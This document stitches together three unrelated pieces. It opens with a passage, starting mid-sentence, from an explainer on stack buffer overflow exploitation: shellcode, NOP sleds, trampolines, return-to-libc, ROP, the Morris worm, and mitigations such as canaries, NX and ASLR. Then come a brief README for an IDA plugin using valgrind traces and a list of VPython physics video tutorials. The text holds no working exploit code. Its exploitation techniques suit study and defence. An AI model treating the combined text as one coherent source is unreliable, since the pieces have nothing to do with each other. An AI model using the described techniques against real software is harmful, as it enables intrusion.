program needs to keep track of how much space is available on the heap, how
much space each piece of data is using, and various other bits of bookkeeping.
But the stack is also simple; to make space for some data, just decrement the
stack pointer. To tidy up when the data is no longer needed, increment the
stack pointer.

This convenience makes the stack a logical place to store the variables that
belong to a function. A function has a 256 byte buffer to read some user
input? Easy, just subtract 256 from the stack pointer and you've created the
buffer. At the end of the function, just add 256 back onto the stack pointer,
and the buffer is discarded.

<img src='img/basic-stack-normal-usage-300x510.png' width='300' height='510'
/>

Enlarge / When we use the program correctly, the keyboard input is stored in
the `name` buffer, followed by a null \(zero\) byte. The frame pointer and
return address are unaltered.

There are limitations to this. The stack isn't a good place to store very
large objects; the total amount of memory available is usually fixed when a
thread is created, and that's typically around 1MB in size. These large
objects _m ust_ be placed on the heap instead. The stack also isn't usable for
objects that need to exist for longer than the span of a single function call.
Because every stack allocation is undone when a function exits, any objects
that exists on the stack can only live as long as function is running. Objects
on the heap, however, have no such restriction; they can hang around forever.

This stack storage isn't just used for the named variables that programmers
explicitly create in their programs; it can also be used for storing whatever
other values the program may need to store. This is traditionally a
particularly acute concern on x86. x86 processors don't have very many
registers \(there are only 8 integer registers in total, and some of those,
like `eip` and `esp,` already have special purposes\), and so functions can
rarely keep all the values they need in registers. To free up space in a
register while still ensuring that its current value can be retrieved later,
the compiler will push the value of the register onto the stack. The value can
then be popped later to put it back into a register. In compiler jargon, this
process of saving registers so that they can be re-used is called _s pilling_.

Finally, the stack is often used to pass arguments to functions. The calling
function pushes each argument in turn onto the stack; the called function can
then pop the arguments off. This isn't the only way of passing arguments—they
can be passed in registers too, for example—but it's one of the most flexible.

The set of things that a function has on the stack—its local variables, its
spilled registers, and any arguments it's preparing to pass to another
function—is called a "stack frame." Because data within the stack frame is
used so extensively, it's useful to have a way of quickly referencing it.

The stack pointer _c an_ do this, but it's somewhat awkward: the stack pointer
always points to the top of the stack, and so it moves around as things are
pushed and popped. For example, a variable may start out with an address of at
`esp + 4`. Two more values might be pushed onto the stack, meaning that the
variable now has to be accessed at `esp + 12`. One of those values can then
get popped off, so the variable is now at `esp + 8`.

This isn't an insurmountable difficulty, and compilers can easily handle the
challenge. Still, it can make using the stack pointer to access anything other
than "the top of the stack" awkward, especially for hand-coded assembler.

To make things easier, it's common to maintain a second pointer, one that
consistently stores the address of the _b ottom_ \(start\) of each stack
frame—a value known as the _f rame pointer_—and on x86, there's even a
register that's generally used to store this value, `ebp`. Since this never
changes within a given function, this provides a consistent way to access a
function's variables: a value that's at `ebp - 4` will remain at `ebp - 4` for
the whole of a function. This isn't just useful for humans; it also makes it
easier for debuggers to figure out what's going on.

<img src='img/visual-studio-980x339.png' width='980' height='339' />

Enlarge / This screenshot from Visual Studio shows some of this in action for
a simple x86 program. On x86 processors, the register named `esp` contains the
address of the top stack, in this case `0x0018ff00`, highlighted in blue \(on
x86, the stack actually grows downwards, towards memory address `0`, but it's
still called the top of the stack anyway\). This function only has one stack
variable, `name`, highlighted in pink. It's a fixed size 32-byte buffer.
Because it's the only variable, its address is also `0x0018ff00`, the same as
the top of the stack.

x86 also has a register called `ebp`, highlighted in red, that's \(normally\)
dedicated to storing the location of the frame pointer. The frame pointer is
placed immediately after the stack variables. Right after the frame pointer is
the return address, highlighted in green. The return address references a code
fragment with address `0x00401048`. This instruction comes immediately after a
`call` instruction, making clear the way the return address is used to resume
execution from where the calling function left off.

<img src='img/basic-stack-overflow-a-300x553.png' width='300' height='553' />

Enlarge /

Unfortunately `gets()` is a really stupid function. If we just hold down A on
the keyboard it won't stop once it's filled the `name` buffer. It'll just keep
on writing data to memory, overwriting the frame pointer, the return address,
and anything and everything else it can.

`name` in the above screenshot is the kind of buffer that's regularly
overflowed. Its size is fixed at exactly 64 characters. In this case it's
filled with a bunch of numbers, and it ends in a final null. As should be
clear from the above picture, if more than 64 bytes are written into the
`name` buffer, then other values on the stack will be damaged. If four extra
bytes are written, the frame pointer will be destroyed. If _e ight_ extra
bytes are written, both the frame pointer and the return address get
overwritten.

Clearly this will lead to damaging the program's data, but the problem of
buffer flows is more serious: they often lead to code execution. This happens
because those overflowed buffers won't just overwrite data. They can also
overwrite the other important thing kept on the stack—those return addresses.
The return address controls which instructions the processor will execute when
it's finished with the current function; it's meant to be some location within
the calling function, but if it gets overwritten in a buffer overflow, it
could point anywhere. If attackers can control the buffer overflow, they can
control the return address; if they can control the return address, they can
choose what code the processor executes next.

The process probably won't have some nice convenient "compromise the machine"
function for the attacker to run, but that doesn't really matter. The same
buffer that was used to overwrite the return address can also be used to hold
a short snippet of executable code, called shellcode, that will in turn
download a malicious executable, or open up a network connection, or do
whatever else the attacker fancies.

Traditionally, this was trivial to do because of a trait that may seem a
little surprising: generally, each program would use the same memory addresses
each time you ran it, even if you rebooted in between. This means that the
location of the buffer on the stack would be the same each time, and so the
value used to overwrite the return address could be the same each time. An
attacker only had to figure out what the address was once, and the attack
would work on _a ny_ computer running the flawed code.

## An attacker's toolkit

In an ideal world—for the attacker, that is—the overwritten return address can
simply be the address of the buffer. When the program is reading input from a
file or a network, this can often be the case for example.

Other times the attacker has to employ tricks. In functions that process
human-readable text, the zero byte \(or "null"\) is often treated specially;
it indicates the end of a string, and the functions used for manipulating
strings—copying them, comparing them, combining them—will stop whenever they
hit the null character. This means that if the shellcode contains the null
character, those routines are liable to break it.

See a buffer overflow in action. In this video, we put shellcode into the
buffer and then overwrite the return address to execute it. Our shellcode runs
the Windows calculator.

<img src='img/basic-stack-exploit-300x390.png' width='300' height='390' />

Enlarge / To exploit the overflow, instead of just writing As and smashing
everything, the attacker fills the buffer with shellcode: a short piece of
executable code that will perform some action of the attacker's choosing. The
return address is then overwritten with an address referring to the buffer,
directing the processor to execute the shellcode when it tries to return from
a function call.

To handle this, attackers can use various techniques. Pieces of code can
convert shellcode that contains null characters into equivalent sequences that
avoid the problem byte. They can even handle quite strict restrictions; for
example, an exploitable function may only accept input that can be typed on a
standard keyboard.

The address of the stack itself often contains a null byte, which is similarly
problematic: it means that the return address cannot be directly set to the
address of the stack buffer. Sometimes this isn't a big issue, because some of
the functions that are used to fill \(and, potentially, overflow\) buffers
will write a null byte themselves. With some care, they can be used to put the
null byte in just the right place to set the return address to that of the
stack.

Even when that isn't possible, this situation can be handled with indirection.
The program and all its libraries mean that memory is littered with executable
code. Much of this executable code will have an address that's "safe," which
is to say has no null bytes.

What the attacker has to do is to find a usable address that contains an
instruction such as x86's `call esp`, which treats the value of the stack
pointer as the address of a function and begins executing it—a perfect match
for a stack buffer that contains the shellcode. The attacker then uses the
address of the `call esp` instruction to overwrite the return address; the
processor will take an extra hop through this address but still end up running
the shellcode. This technique of bouncing through another address is called
"trampolining."

<img src='img/basic-stack-exploit-trampoline-300x367.png' width='300'
height='367' />

Enlarge / Sometimes it can be difficult to overwrite the return address with
the address of the buffer. To handle this, we can overwrite the return
address with the address of a piece of executable code found within the victim
program \(or its libraries\). This fragment of code will transfer execution to
the buffer for us.

This works because, again, the program and all its libraries occupy the same
memory addresses every time they run—even across reboots and even across
different machines. One of the interesting things about this is that the
library that provides the trampoline does not need to ever perform a `call
esp` itself. It just needs to offer the two bytes \(in this case `0xff` and
`0xd4`\) adjacent to each other. They could be part of some other instruction
or even a literal number; x86 isn't very picky about this kind of thing. x86
instructions can be very long \(up to 15 bytes\!\) and can be located at any
address. If the processor starts reading an instruction from the middle—from
the second byte of a four byte instruction, say—the result can often be
interpreted as a completely different, but still valid, instruction. This can
make it quite easy to find useful trampolines.

Sometimes, however, the attack can't set the return address to _exactly_ where
it needs to go. Although the memory layout is very similar, it might vary
slightly from machine to machine or run to run. For example, the precisely
location of an exploitable buffer might vary back and forth by a few bytes
depending on the system's name or IP address, or because a minor update to the
software has made a very small change. To handle this, it's useful to be able
to specify a return address that's _roughly_ correct but doesn't have to be
_exactly_ correct.

This can be handled easily through a technique called the "NOP sled." Instead
of writing the shellcode directly into the buffer, the attacker writes a large
number of "NOP" instructions \(meaning "no-op"; they're instructions that
don't actually do anything\), sometimes hundreds of them, before the real
shellcode. To run the shellcode, the attacker only needs to set the return
address to _somewhere_ among these NOP instructions. As long as they land
within the NOPs, the processor will quickly run through them until it reaches
the real shellcode.

## Blame C

The core bug that enables these attacks, writing more to a buffer than the
buffer has space for, sounds like something that should be simple to avoid.
It's an exaggeration \(but only a slight one\) to lay the blame entirely on
the C programming language and its more or less compatible offshoots, namely
C++ and Objective-C. The C language is old, widely used, and essential to our
operating systems and software. It's also appallingly designed, and while all
these bugs are avoidable, C does its damnedest to trip up the unwary.

As an example of C's utter hostility to safe development, consider the
function `gets()`. The `gets()` function takes one parameter—a buffer—and
reads a line of data from standard input \(which normally means "the
keyboard"\), then puts it into the buffer. The observant may have noticed that
`gets()` doesn't include a parameter for the buffer's size, and as an amusing
quirk of C's design, there's no way for `gets()` to figure out the buffer's
size for itself. And that's because `gets()` just doesn't care: it will read
from standard input until the person at the keyboard presses return, then try
to cram everything into the buffer, even if the person typed far more than the
buffer could ever contain.

This is a function that literally cannot be used safely. Since there's no way
of constraining the amount of text typed at the keyboard, there's no way of
preventing `gets()` from overflowing the buffer it is passed. The creators of
the C standard did soon realize the problem; the 1999 revision to the C
specification deprecated `gets()`, while the 2011 update removed it entirely.
But its existence—and occasional usage—is a nice indication of the kind of
traps that C will spring on its users.

The Morris worm, the first self-replicating malware that spread across the
early Internet in a couple of days in 1988, exploited this function. The BSD
4.3 `fingerd` program listened for network connections on port 79, the
`finger` port. `finger` is an ancient Unix program and corresponding network
protocol used to see who's logged in to a remote system. It can be used in two
ways; a remote system can be queried to see everyone currently logged in.
Alternatively, it can be queried about a specific username, and it will tell
you some information about that user.

Whenever a connection was made to the `finger` daemon, it would read from the
network—using `gets()—`into a 512 byte buffer on the stack. In normal
operation, `fingerd` would then spawn the `finger` program, passing it the
username if there was one. The `finger` program was the one that did the real
work of listing users or providing information about any specific user.
`fingerd` was simply responsible for listening to the network and starting
`finger` appropriately.

Given that the only "real" parameter is a possible username, 512 bytes is
plainly a huge buffer. Nobody is likely to have a username anything like that
long. But no part of the system actually enforced that constraint because of
the use of the awful `gets()` function. Send more than 512 bytes over the
network and `fingerd` would overflow its buffer. So this is exactly what
Robert Morris did: his exploit sent 537 bytes to `fingerd` \(536 bytes of data
plus a new-line character, which made `gets()` stop reading input\),
overflowing the buffer and overwriting the return address. The return address
was set simply to the address of the buffer on the stack.

Advertisement

The Morris worm's executable payload was simple. It started with 400 NOP
instructions, just in case the stack layout was slightly different, followed
by a short piece of code. This code spawned the shell, `/bin/sh`. This is a
common choice of attack payload; the `fingerd` program ran as root, so when it
was attacked to run a shell, that shell also ran as root. `fingerd` was
plumbed into the network, taking its "keyboard input" from the network and
likewise sending its output back over the network. Both of these features are
inherited by the shell executed by the exploit, meaning that the root shell
was now usable remotely by the attacker.

While `gets()` is easy to avoid—in fact, even at the time of the Morris worm,
a fixed version of `fingerd` that didn't use `gets()` was available—other
parts of C are harder to ignore and no less prone to screw ups. C's handling
of text strings is a common cause of problems. The behavior mentioned
previously—stopping at null bytes—comes from C's string behavior. In C, a
string is a sequence of characters, followed by a null byte to terminate the
string. C has a range of functions for manipulating these strings. Perhaps the
best pair are `strcpy()`, which copies a string from a source to a
destination, and `strcat()`, which appends a source string to a destination.
Neither of these functions has a parameter for the size of the destination
buffer. Both will merrily read from their source forever until they reach a
null character, filling up the destination and overflowing it without a care
in the world.

Even when C's string handling functions _do_ take a parameter for the buffer
size, they can do so in a way that leads to errors and overflows. C offers a
pair of siblings to `strcat()` and `strcpy()` called `strncat()` and
`strncpy()`. The extra `n` in their names denotes that they take a size
parameter, of sorts. But `n` is not, as many naive C programmers believe, the
size of the buffer being written to; it is the number of characters from the
source to copy. If the source runs out of characters \(because a null byte is
reached\) then `strncpy()` and `strncat()` will make up the difference by
copying more null bytes to the destination. At no point do the functions ever
care about the actual size of the destination.

Unlike `gets(),` it is possible to use these functions safely; it's just
difficult. C++ and Objective-C both include superior alternatives to C's
functions, making string manipulation much simpler and safer, but they retain
the old C capabilities for reasons of backwards compatibility.

Moreover, they retain C's fundamental weakness: buffers do not know their own
size, and the language never validates the reads and writes performed on
buffers, allowing them to overflow. This same behavior also led to the
recent Heartbleed bug in OpenSSL. That wasn't an overflow; it was an over
_read_ ; the C code in OpenSSL tried to read more from a buffer than the
buffer contained, leaking sensitive information to the world.

## Fixing the leaks

Needless to say, it is not beyond the wit of mankind to develop languages in
which reads from and writes to buffers are validated and so can never
overflow. Compiled languages such as the Mozilla-backed Rust, safe runtime
environments such as Java and .NET, and virtually every scripting language
like Python, JavaScript, Lua, Python, and Perl are immune to this problem
\(although .NET does allow developers to explicitly turn off all the
safeguards and open themselves up to this kind of bug once more should they so
choose\).

That the buffer overflow continues to be a feature of the security landscape
is a testament to C's enduring appeal. This is in no small part due to the
significant issue of legacy code. An awful lot of C code still exists,
including the kernel of every major operating system and popular libraries
such as OpenSSL. Even if developers want to use a safe language such as C\#,
they may need to depend on a third-party library written in C.

Performance arguments are another reason for C's continued use, though the
wisdom of this approach was always a little unclear. It's true that compiled C
and C++ tend to produce fast executables, and in some situations that matters
a great deal. But many of us have processors that spend the vast majority of
their time idling; if we could sacrifice, say, ten percent of the performance
of our browsers in order to get a cast iron guarantee that buffer overflows—in
addition to many other common flaws—were impossible, we might decide that
would be a fair trade-off, if only someone were willing to create such a
browser.

Advertisement

Nonetheless, C and its friends are here to stay; as such, so are buffer
overflows.

Some effort is made to stop the overflow errors before they bite anyone.
During development there are tools that can analyze source code and running
programs to try to detect dangerous constructs or overflow errors before those
bugs ever make their way into shipping software. New tools such as
AddressSantizer and older ones such as Valgrind both offer this kind of
capability.

However, these tools both require the active involvement of the developer,
meaning not all programs use them. Systemic protections that strive to make
buffer overflows less dangerous when they do occur can protect a much greater
variety of software. In recognition of this, operating system and compiler
developers have implemented a number of systems to make exploiting these
overflows harder.

Some of these systems are intended to make specific attacker tasks harder. One
set of Linux patches made sure that system libraries were all loaded at low
addresses to ensure that they contained at least one null byte in their
address; this makes it harder to use their addresses in any overflow that uses
C string handling.

Other defenses are more general. Many compilers today have some kind of stack
protection. A runtime-determined value known as a "canary" is written onto the
end of the stack near where the return address is stored. At the end of every
function, that value is checked for modification before the return instruction
is issued. If the canary value has changed \(because it has been overwritten
in a buffer overflow\) then the program will immediately crash rather than
continue.

Perhaps the most important single protection is one variously known as W^X
\("write exclusive-or execute"\), DEP \("data execution prevention"\), NX
\("No Xecute"\), XD \("eXecute Disable"\), EVP \("Enhanced Virus Protection,"
a rather peculiar term sometimes used by AMD\), XN \("eXecute Never"\), and
probably more. The principle here is simple. These systems strive to make
memory either _writeable_ \(suitable for buffers\) or _executable_ \(suitable
for libraries and program code\) but not _both_. Thus, even if an attacker can
overflow a buffer and control the return address, the processor will
ultimately refuse to execute the shellcode.

Whichever name you use, this is an important technique not least because it
comes at essentially no cost. This approach leverages protective measures
built into the processor itself as part of the hardware support for virtual
memory.

As described before, with virtual memory every process gets its own set of
private memory addresses. The operating system and processor together maintain
a mapping from virtual addresses to _something else_ ; sometimes a virtual
address corresponds to a physical memory address, sometimes it corresponds to
a portion of a file on disk, and sometimes it corresponds to nothing at all
because it has not been allocated. This mapping is granular, typically using
4,096 byte chunks called _pages_.

The data structures used to store the mapping don't just include the location
\(physical memory, disk, nowhere\) of each page; they also contain \(usually\)
three bits defining the page's protection: whether the page is readable,
whether it is writeable, and whether it is executable. With this protection,
areas of the process's memory that are used for data, such as the stack, can
be marked as readable and writeable but not executable. Conversely, areas such
as the program's executable code and libraries can be marked as readable and
executable but not writeable.

One of the great things about NX is that it can be applied to existing
programs retrospectively just by updating the operating system to one that
supports it. Occasionally programs do run into problems. Just-in-time
compilers, used for things like Java and .NET, generate executable code in
memory at runtime, and as such need memory that is both writeable and
executable \(though strictly, they don't need it to be both things
simultaneously\). In the days before NX, any memory that was readable was also
executable, so these JIT compilers never had to do anything special to their
read-writeable buffers. With NX, they need to make sure to change the memory
protection from read-write to read-execute.

The need for something like NX was clear, especially for Microsoft. In the
early 2000s, a pair of worms showed that the company had some serious code
security problems: Code Red, which infected as many as 359,000 Windows 2000
systems running Microsoft's IIS Web server in July 2001, and SQL Slammer,
which infected more than 75,000 systems running Microsoft's SQL Server
database in January 2003. These were high profile embarrassments.

Both of them exploited stack buffer overflows, and strikingly, though they
came 13 and 15 years after the Morris worm, the method of exploitation was
virtually identical. An exploit payload was placed into the buffer on the
stack, and the return address overwritten to execute it. \(The only slight
nuance was that both of these used the trampoline technique. Instead of
setting the return address directly to the address of the stack, they set the
return address to an instruction that in turn passes execution to the stack.\)

Naturally, these worms were also advanced in other ways. Code Red's payload
didn't just self-replicate; it also defaced webpages and attempted to perform
denial of service attacks. SQL Slammer packed everything it needed to find new
machines to exploit and spread through a network in just a few hundred bytes,
and it left no footprint on machines it infected; reboot and it was gone. Both
worms also worked on an Internet that was enormously larger than the one the
Morris worm worked with, and hence they infected many more machines.

But the central issue, that of a straightforwardly exploitable stack buffer
overflow, was an old one. These worms were both major news and made many
people question the use of Windows in any kind of a Internet-facing, server
capacity. Microsoft's response was to start taking security seriously. Windows
XP Service Pack 2 was the first real product with this mindset. It utilized a
number of software changes, including a software firewall, changes to Internet
Explorer to prevent silent installation of toolbars, plugins—and NX support.

Hardware supporting NX has been mainstream since 2004, when Intel introduced
the Prescott Pentium 4, and operating system support for NX has been
widespread since Windows XP Service Pack 2. Windows 8 forced the issue even
more by cutting off support for older processors that didn't have NX hardware.

## Beyond NX

In spite of the spread of NX support, buffer overflows remain a security issue
to this day. That's because a number of techniques were devised to bypass NX.

The first of these was similar to the trampolining trick already described to
pass control to the shellcode in a stack buffer via an instruction found in
another library or executable. Instead of looking for a fragment of executable
code that will pass execution directly back to the stack, the attacker looks
for a fragment that does something useful in its own right.

Perhaps the best candidate for this is the
Unix `system() `function. `system()` takes one parameter: the address of a
string representing a command line to be executed, and traditionally that
parameter is passed on the stack. The attacker can create a command-line
string and put it in the buffer to be overflowed, and because
\(traditionally\) things didn't move around in memory, the address of that
string would be known and could be put on the stack as part of the attack. The
overwritten return address in this situation isn't set to the address of the
buffer; it's set to the address of the `system()` function. When the function
with the buffer overflow finishes, instead of returning to its caller, it runs
the `system()` function to execute a command of the attacker's choosing.

This neatly bypasses NX. The `system()` function, being part of a system
library, is already executable. The exploit doesn't have to execute code from
the stack; it just has to _read_ the command line from the stack. This
technique is called "return-to-libc" and was invented in 1997 by Russian
computer security expert Solar Designer. \(libc is the name of the Unix
library that implements many key functions, including `system()`, and is
typically found loaded into every single Unix process, so it makes a good
target for this kind of thing.\)

While useful, this technique can be somewhat limited. Often functions don't
take their arguments from the stack; they expect them to be passed in
registers. Passing in command-line strings to execute is nice, but it often
involves those annoying nulls which can foul everything up. Moreover, it makes
chaining multiple function calls very difficult. It can be done—provide
multiple return addresses instead of one—but there's no provision for changing
the order of arguments, using return values, or anything else.

<img src='img/basic-stack-exploit-rop-300x257.png' width='300' height='257' />

Enlarge /

Instead of filling the buffer with shellcode, we fill it with a sequence of
return addresses and data. These return addresses pass control to existing
fragments of executable code within the victim program and its libraries. Each
fragment of code performs an operation and then returns, passing control to
the next return address.

Over the years, return-to-libc was generalized to alleviate these
restrictions. In late 2001, a number of ways to extend return-to-libc to make
multiple function calls was documented, along with solutions for the null byte
problem. These techniques were nonetheless limited. A more complicated
technique formally described in 2007 for the most part lifted all these
restrictions: return-oriented-programming \(ROP\).

This used the same principle as from return-to-libc and trampolining but
generalized further still. Where trampolining uses a single fragment of code
to pass execution to shellcode in a buffer, ROP uses _lots_ of fragments of
code, called "gadgets" in the original ROP paper. Each gadget follows a
particular pattern: it performs some operation \(putting a value in a
register, writing to memory, adding two registers, etc.\) followed by a return
instruction. The same property that makes x86 good for trampolining works here
too; the system libraries loaded into a process contain _many hundreds_ of
sequences that can be interpreted as "perform an action, then return" and
hence can be used in ROP-based attacks.

The gadgets are all chained together by a long sequence of return addresses
\(and any useful or necessary data\) written to the stack as part of the
buffer overflow. The return instructions leap from gadget to gadget with the
processor rarely or never _calling_ functions, only ever _returning_ from
them. Remarkably, it was discovered that, at least on x86, the number and
variety of useful gadgets is such that an attacker can generally do _anything_
; this weird subset of x86, used in a peculiar way, is often Turing complete
\(though the exact range of capabilities will depend on which libraries a
given program has loaded and hence which gadgets are available\).

As with return-to-libc, all the actual _executable code_ is taken from system
libraries, and so NX protection is useless. The greater flexibility of the
approach means that exploits can do the things that are difficult even with
chained return-to-libc, such as calling functions that take arguments in
registers, using return values from one function as an argument for another,
and much more besides.

The ROP payloads vary. Sometimes they're simple "create a shell"-style
code. Another common option is to use ROP to call a system function to change
the NX state of a page of memory, flipping it from being writable to being
executable. Doing this, an attacker can use a conventional, non-ROP payload,
using ROP only to make the non-ROP payload executable.

## Getting random

This weakness of NX has long been recognized, and a recurring theme runs
throughout all these exploits: the attacker knows the memory addresses of the
stack and system libraries ahead of time. Everything is contingent on this
knowledge, so an obvious thing to try is removing that knowledge. This is what
Address Space Layout Randomization \(ASLR\) does: it randomizes the position
of the stack and the in-memory location of libraries and executables.
Typically these will change either every time a program is run, every time a
system is booted, or some combination of the two.

This greatly increases the difficulty of exploitation, because all of a
sudden, the attacker doesn't know where the ROP instruction fragments will be
in memory, or even where the overflowed stack buffer will be.

ASLR in many ways goes hand in hand with NX, because it shores up the big
return-to-libc and return-oriented-programming gaps that NX leaves.
Unfortunately, it's a bit more intrusive than NX. Except for JIT compilers and
a few other unusual things, NX could be safely added to existing programs.
ASLR is more problematic; programs and libraries need to ensure that they do
not make any assumptions about the address they're loaded at.

On Windows, for example, this shouldn't be a huge issue for DLLs. DLLs on
Windows have always supported being loaded at different addresses, but it
could be an issue for EXEs. Before ASLR, EXEs would always be loaded at an
address of `0x0040000` and could safely make assumptions on that basis. After
ASLR, that's no longer the case. To make sure that there won't be any
problems, Windows by default requires executables to indicate that they
specifically support ASLR and opt in to enabling it. The security conscious
can, however, force Windows to enable it for all executables and libraries
even if programs don't indicate that they support it. This is almost always
fine.

The situation is perhaps worse on x86 Linux, as the approach used for ASLR on
that platform exacts a performance cost that may be as high as 26 percent.
Moreover, this approach absolutely _requires_ executables and libraries to be
compiled with ASLR support. There's no way for an administrator to mandate the
use of ASLR as there is in Windows. \(x64 does not quite eliminate the
performance cost of the Linux approach, but it does greatly alleviate it.\)

When ASLR is enabled, it provides a great deal of protection against easy
exploitation. ASLR still isn't perfect, however. For example, one restriction
is the amount of randomness it can provide. This is especially acute on 32-bit
systems. Although the memory space has more than 4 billion different
addresses, not all of those addresses are available for loading libraries or
placing the stack.

Instead, it's subject to various constraints. Some of these are broad goals.
Generally, the operating system likes to keep libraries loaded fairly close
together at one end of the process's address space, so that as much contiguous
empty space is available to the application as possible. You wouldn't want to
have one library loaded every 256MB throughout the memory space, because the
biggest single allocation you'd be able to make would be a little less than
256MB, which limits the ability of applications to work on big datasets.

Executables and libraries generally have to be loaded so that they start on,
at the very least, a page boundary. Normally, this means they must be loaded
at an address that's a multiple of 4,096. Platforms can have similar
conventions for the stack; Linux, for example, starts the stack on a multiple
of 16 bytes. Systems under memory stress sometimes have to further reduce the
randomness in order to fit everything in.

The impact of this varies, but it means that attackers can sometimes guess
what an address will be and have a reasonable probability of guessing right.
Even a fairly low chance—one in 256, say—can be enough in some situations.
When attacking a Web server that will automatically restart crashed processes,
it may not matter that 255 out of 256 attacks crash the server. It will simply
be restarted, and the attacker can try again.

But on 64-bit systems, there's so much address space that this kind of
guessing approach is untenable. The attacker could be stuck with a one in a
million or one in a billion chance of getting it right, and that's a small
enough chance as to not matter.

Guessing and crashing isn't much good for attacks on, say, browsers; no user
is going to restart a browser 256 times in a row just so that an attacker can
strike it lucky. As a result, exploiting this kind of flaw on a system with
both NX and ASLR can't be done without help.

Advertisement

This help can come in many forms. One route in browsers is to use JavaScript
or Flash—both of which contain JIT compilers that generate executable code—to
fill large portions of memory with carefully constructed executable code. This
produces a kind of large scale NOP sled in a technique known as "heap
spraying." Another approach is to find a secondary bug that inadvertently
reveals memory addresses of libraries or of the stack, giving the attacker
enough information to construct a custom set of ROP return addresses.

A third approach was again common in browsers: take advantage of libraries
that don't use ASLR. Old versions of, for example, Adobe's PDF plugin or
Microsoft's Office browser plugins didn't enable ASLR, and Windows by default
doesn't force ASLR on non-ASLR code. If attackers could force such a library
to load \(by, for example, loading a PDF into a hidden browser frame\) then
they no longer needed to be too concerned about ASLR; they could just use that
non-ASLR library for their ROP payload.

## A never-ending war

The world of exploitation and mitigation techniques is one of cat and mouse.
Powerful protective systems such as ASLR and NX raise the bar for taking
advantage of flaws and together have put the days of the simple stack buffer
overflow behind us, but smart attackers can still combine multiple flaws to
defeat these protections.

The escalation continues. Microsoft's EMET \("Enhanced Mitigation Experience
Toolkit"\) includes a range of semi-experimental protections that try to
detect heap spraying or attempts to call certain critical functions in ROP-
based exploits. But in the continuing digital arms war, even these have
security techniques have been defeated. This doesn't make them useless—the
difficulty \(and hence cost\) of exploiting flaws goes up with each new
mitigation technique—but it's a reminder of the need for constant vigilance.

# escalation/tools/sunrace plugin at master · honeyjonny/escalation

**Created:**| _10/17/2013 12:18:45 PM_  
---|---  
**Updated:**| _10/17/2013 12:18:45 PM_  
**Author:**| __  
**Tags:**| _binary instrumentation iDA Linux calling convention_  
  

# sunrace IDA Python plugin

Plugin combined DBI and Statical Analysis features

use valgrind-3.8.1 in tests

**first profile**

[code]

    valgrind --tool=callgrind --trace-children=yes --collect-jumps=yes --dump-instr=yes --callgrind-out-file=ls.trace --separate-threads=yes ls
    
[/code]

**second profile**

[code]

    valgrind --tool=callgrind --trace-children=yes --collect-jumps=yes --dump-instr=yes --callgrind-out-file=ls.trace --separate-threads=yes ls - all
    
[/code]

**what profit?**

run:

<img src='https://github-
camo.global.ssl.fastly.net/550ac8c7f8191a757d107e3794448d2db849aa95/687474703a2f2f73686172657069782e72752f726571756573742f3279373964356e716a3761716b6d30317a6d707a7039353470793265797778317634393939777a722f696d61676534393632383071362e6a706567'
alt='run' />

select analyse two profs:

<img src='https://github-
camo.global.ssl.fastly.net/ec32a948928e9aee2cf7c8e15cd9b4f98e9611a3/687474703a2f2f73686172657069782e72752f726571756573742f36687662673537716a6a76346834736433766b77336c65666b6a366e746a337a317961683367386d2f696d6167653439363238316c6e2e6a706567'
alt='two' />

answer to questions, wait, enjoy\!

<img src='https://github-
camo.global.ssl.fastly.net/9dbd48276b1d923a74d27a62c4218c30d27cc7c8/687474703a2f2f73686172657069782e72752f726571756573742f326e3772677837673470356d6d3571776d7a646f626f327665727a787a396631766d73626a7a736d2f696d616765343936323832736a2e6a706567'
alt='enjoy' />

all actually executed trace from profiles will colored; funcs will dissect by
groups, based on profiles:

<img src='https://github-
camo.global.ssl.fastly.net/f01c8bde46ead0daab7753b880392bcdeb4fe779/687474703a2f2f73686172657069782e72752f726571756573742f756b30776c6337323062787533787336756c7372686d386e6a306c6e6a6e666538706174326875612f696d61676534393632383334702e6a706567'
alt='executed' />

some info about func grops:

<img src='https://github-
camo.global.ssl.fastly.net/1a7a4ea05c9a66cd6b3cca6e01bd3c0a9d44c4fb/687474703a2f2f73686172657069782e72752f726571756573742f656679676b687472376a6f6d6873397a6f35757a7a7461796e7574346a6d30793238656c703964762f696d61676534393632383462752e6a706567'
alt='info' />

<img src='https://github-
camo.global.ssl.fastly.net/3200d7176dbe83624294dd63827cdcc87775689f/687474703a2f2f73686172657069782e72752f726571756573742f706276777079626b7966707a7669387a317875647469743571397965336439736f347065333179312f696d61676534393632373961382e6a706567'
alt='info1' />

now, thats all, enjoy you work\!

want more? just try\!

tnkx\!

# VPython Video Tutorials - 3D Programming with Python using the Visual
Library

**Created:**| _5/13/2009 12:55:12 PM_  
---|---  
**Updated:**| _5/13/2009 12:55:26 PM_  
**Author:**| __  
**Tags:**| _python Tutorials_  
  

# VPython Video Tutorials  
3D Programming with Python using the Visual Library

#### These videos are now available at ShowMeDo.com as video streams that can
be viewed from your web browser.  
For the direct link to the list of VPython video streams click here.

### Physics \(mechanics\)

**\* right-click the episode link and select "Save Link As..." or "Save Target
As..." to download and view.**

  * \* Episode 01 - Projectile Motion 1 _\(vpython01.avi, 26.8 MB, 18 min 15 sec\) - January 10, 2006  
view code - comments_

  *   

    * This is the first video in this tutorial series. It briefly discusses where to find information to install python and the vpython libraries. Then we create a 3D program demonstrating the effect of gravity on a dropped object.
  

  * \* Episode 02 - Projectile Motion 2 _\(vpython02.avi, 20.5 MB, 11 min 42 sec\) - January 12, 2006  
view code - comments_

  *   

    * This episode continues from the last episode in which a ball was dropped to the earth. We modify that 3D program so the ball is thrown horizontally from the top of a building.
  

  * \* Episode 03 - Projectile Motion 3 _\(vpython03.avi, 28.6 MB, 15 min 27 sec\) - January 17, 2006  
view code - comments_

  *   

    * This episode continues from the last episode in which a ball was thrown horizontally off a building. In this episode we modify that 3D program so the ball is thrown at an angle from the ground.
  

  * \* Episode 04 - Projectile Motion 4 _\(vpython04.avi, 44.3 MB, 18 min 24 sec\) - January 27, 2006  
view code - comments_

  *   

    * This episode continues from the last episode in which a ball was thrown at an angle from the ground. We modify that 3D program so an artificial wind pushes the ball while it is in flight.
  

  * \* Episode 05 - Friction _\(vpython05.avi, 68.2 MB, 31 min 28 sec\) - February 3, 2006  
view code - comments_

  *   

    * This episode continues from the last episode in which wind altered the path of a thrown ball. We modify that program so that a thrown puck slides until friction slows it to a stop. Newton's three laws of motion are also discussed.
  

  * \* Episode 06 - Force, Motion & Vectors _\(vpython06.avi, 103.6 MB, 30 min 6 sec\) - February 9, 2006  
view code - comments_

  *   

    * This is a cleaned up version of the last program and also a review of previous topics. Special emphasis is placed on using vectors and the relationship between force, accleration, velocity, and position vectors. New topics include the norm of a vector and the magnitude of a vector.
  

